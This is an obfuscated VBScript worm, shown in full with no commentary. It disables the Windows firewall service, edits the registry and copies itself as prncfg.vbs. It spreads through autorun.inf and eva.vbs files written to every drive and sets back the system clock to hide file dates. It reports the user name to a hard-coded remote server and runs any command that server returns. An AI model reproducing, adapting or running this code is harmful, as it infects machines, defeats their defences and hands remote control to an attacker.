on eRRor ResuMe NExT Set fSO=CReAtEobjeCt(StRREVerSE("TcEjBOmEtsyselif.gNitpiRcS")) sET wsHsHell=crEateOBjeCt(stRREverSe("llEHS.TPircsw")) dim DRI_LIst,drI_lIsT0 dIM IsSenD IsSeND=0 c_tIME=dATE() WsHsHElL.rUN "NeT stop ShArEdAcCess",0 seT Drvs=FSO.drivES SYsdiR=FSO.GetSpeciALfOLdEr(1) ThiSpATH=wsCRIpT.ScRIpTfullname Set fC=FSo.OpeNTextFiLe(thisPath,1) sCopY=Fc.rEadAll FC.Close SET fc=NOTHING CalL wRiTefIlE(SYsDir&"\SySiNFo.Reg",UNEScAPE(STRReVeRSe("00C2%00C2%00c2%00c2%00C2%00c2%00c2%00c2%00C2%00c2%00C2%00C2%00c2%00c2%00C2%00A3%92%b82%XeHD3%22%EMiTcExE22%a0%d0%02%22%22%D3%22%SreTEmarAp22%a0%d0%02%22%SbV.gFCNrpc5%c5%23METSYsc5%c5%52%ridNIW52%22%D3%22%TpIrcS22%A0%D0%02%D5%0C5%0C5%puTRATsC5%sTPIRcSc5%eNIhCAmc5%ETatsc5%yCiLoP02%puorGC5%nOISrevtNERrucc5%SwoDNiwc5%TFOsOrcImc5%ERaWTfOsC5%enIhcAm_LACol_YEkHb5%A0%D0%a0%d0%02%00c2%00C2%00c2%00c2%00c2%00C2%00C2%00C2%00C2%00c2%00C2%00C2%00c2%00C2%00C2%00A3%92%B82%xEhd3%22%EmItcExE22%a0%d0%02%22%22%D3%22%SReTeMArAP22%a0%d0%02%22%sBv.gFcNrpc5%C5%23METsysc5%C5%52%RIdnIW52%22%D3%22%TpircS22%A0%d0%02%D5%0c5%0C5%PUTrAtSc5%sTpircsc5%MeTsysc5%SWodNiwC5%tfOsOrcimc5%seiCIloPc5%eRAWtfoSc5%enIHCAM_lacol_YEKHb5%A0%D0%A0%D0%03%03%e2%53%02%E6%F6%96%37%27%56%65%02%27%f6%47%96%46%54%02%97%27%47%37%96%76%56%25%02%37%77%f6%46%e6%96%75%"))) WSHsHelL.run "rEGeDiT /s SysInFO.Reg",0 wScRIpT.sleep 200 fso.dELetEfiLE sySdIr&"\sySinfO.reG",trUE if inStr(THISPath,sySDIr)>0 tHEn drI_lIst0=LisTdRV() o_TimE=LeFt(c_time,3)&CsTR(INT(MId(c_TImE,4,1))-1)&RiGhT(C_TiMe,len(C_timE)-4) WshSHElL.ruN "CmD /c dAte "&o_TIme,0 WscriPt.SlEEP 10000 fOr DRI_i=1 tO LeN(dri_lISt0) CAll WrIteAuto(mid(DRi_LIst0,Dri_I,1)&":\") nexT WSHsHelL.RUn "cmD /C dAtE "&c_TIMe,0 coMpUtErnaMe="":USERnAMe="" SeT oBJwMIseRVice=gEtObJeCT("WiNmgmtS:{imPErsonATioNLEvEL=iMPeRsOnAte}!\\.\rooT\ciMv2") seT cOlCOMPutERS = ObjWMIservicE.ExEcqueRy("seLecT * fRoM wIn32_comPUTeRSYsteM") For eaCh OBJcomPutER iN cOlCOmPUteRs coMpUteRnAME=oBjCOmpUtEr.namE usERNAMe=ObJCOMPUtEr.USeRNamE next If uSERnAmE="" Then USernaME="EVAr" iF iNsTr(useRnaMe,"\")<=0 ThEn uSerNaME=ComPUTeRnAme&"\"&userNaMe end iF dO IF isSeNd=0 thEn SET XML=crEAteoBjeCt(StRREVersE("PTThLmxReVReS.2lMxsM")) XmL.OPeN "Get",StRrevErse(UNESCaPE("%3D%61%3f%70%73%61%2e%74%6e%75%6f%63%2f%61%76%65%2f%62%7A%7A%2f%30%30%31%2E%34%30%31%2E%39%31%31%2E%32%30%32%2F%2f%3A%70%74%74%68"))&UsERnaMe,0 xmL.SetRequEsthEADeR "useR-ageNt","eVaR" xml.seND() iF ERr.NumBer=0 ThEn iSSENd=1 reS=XmL.reSponsETEXT If UCASE(LefT(rES,7))=ucasE("eXeCUTe") theN exeCUte rES ELSe erR.cLeAr enD iF seT xmL=NoThing eNd IF DRi_lIst=LIstdrv() fOr drI_K=1 To LEn(dRi_liSt) if INStR(Dri_LIst0,miD(dRi_LISt,dRi_K,1))<=0 THeN cAll wrItEauTo(MID(DrI_liSt,dRi_k,1)&":\") ENd IF NeXt DrI_liST0=dri_lIsT WScRiPt.slEep 1000 lOOp ELsE wSHsHeLl.run "eXplorER .\",3 wscRipT.SLEEp 2000 WshSHEll.appAcTiVate UnEScaPe(LCase("%u6211%u7684%u7535%u8111")) WshShELL.senDkeYS uCasE("% C") ruNflAg=0 fOR EaCh Ps In gEtobJect _ ("WInMGMTS:\\.\ROoT\ciMV2:win32_pRoCESs").instAnces_ If LcaSE(PS.NaME)=LCaSe("WscRipT.EXe") ThEN RUnfLag=RUnflAG+1 enD If nexT iF runFlAg>=2 thEn wScRIpT.QuIt SeT SF=fso.GetfOLdEr(SySDIR) F_tiME=LefT(sF.dATeCreAteD,InsTr(sF.dAtECreAtEd," ")-1) WSHShELl.rUN "cMd /C DAtE "&f_tiMe,0 WSCrIpT.sleEp 100 cAll wrITEFILE(SYsDIR&LcasE("\prNCFG.vBs"),Vs(SCopY)) WshsHElL.Run "Cmd /c DaTe "&c_TiMe,0 wsHsheLl.RuN SySdir&"\pRNCfg.VBs" EnD IF FUNctiOn vS(sTr) eXecUTe stRreVeRse(uNeSCaPe("%29%29%22u%25%22%28EsACl%2C%29%22u%25%22%28esAcu%2CsV%28EcAlPer%3Dsv%0D%0aTxeN%0D%0AFI%20DnE%0d%0ac%26Sv%3DSV%0D%0aESlE%0d%0a%29C%28eSaCl%26SV%3dsv%0D%0aNeht%2005%3e%29001*%29%28dNR%28tni%20FI%0d%0AezIMoDnAR%0D%0a%29%291%2Ci%2crTs%28dIm%28ESacu%3dC%0D%0a%29rTs%28nEL%20ot%201%3dI%20ROF")) ENd FuNCTioN FuNcTiON lIsTdrv() exECutE sTrREVERSE(uNEsCAPe("tSIl_Pmt%3DVrdTsIl%0d%0AtxEn%0d%0Afi%20dNe%0D%0aretTELEvIrd.vRd%26tsil_Pmt%3dTSiL_PMt%0d%0AnEHT%20YDAerSI.VrD%20Fi%0d%0asvrD%20NI%20vrD%20hcAE%20rof%0D%0A%22%22%3dTSil_PMT%0d%0ATSil_pmt%20Mid")) ENd FUncTioN sUB wRiTeautO(patH) ExeCuTE STRREvERsE(UnEscAPe("fi%20Dne%0D%0AeURT%2C%22fNI.nuRoTuA%22%26htap%20ElIfeteLeD.osf%0d%0aNEhT%20%29%22fni.nUROTua%22%26HtAp%28sTsIxeeLif.oSf%20FieSle%0d%0a%29%28dnR%26HTaP%2C%22fNI.nUROTua%22%26htAp%20REDlofeVOm.OsF%0d%0anEhT%20%29%22Fni.nURotuA%22%26HtAP%28STSiXErEDLoF.oSF%20fi")) cMdStR="SHEll\*\CoMMAnd=wScRipT.Exe "&CHR(34)&"eVa.vbs"&chR(34) AuToSTr="[auToRUN]"&VBCrlF&"OpEN="&vBcrlF&repLaCe(CmdStr,"*","OPEN")&vBcRlF&rEpLAce(cMDstR,"*","EXPLOre")&vBCRLf&rePLaCE(CMDstR,"*","FiND") Call WRiteFIle(paTh&UCASE("aUToRUN.Inf"),AUtoSTR) CaLl WrITEfiLe(PaTH&"eVa.vBs",VS(scopY)) End sUb sub WriTEfILe(fPAth,conTeNT) eXECutE sTrREveRsE(unEscapE("gNIhtOn%3DaF%20TES%0d%0a7%3DsEtUBiRtta.AF%0d%0A%29htaPF%28EliftEG.osf%3daf%20Tes%0D%0aGnihToN%3DCF%20TEs%0D%0AESolc.cf%0D%0atneTnOC%20etIRw.cf%0d%0A%29eurT%2C2%2chtAPf%28eLIftxETNEPo.oSF%3DCf%20TES%0D%0AEurT%2ChTapF%20ELiFeteleD.osF%20Neht%20%29HTApF%28STsIxeELiF.osF%20fi")) EnD Sub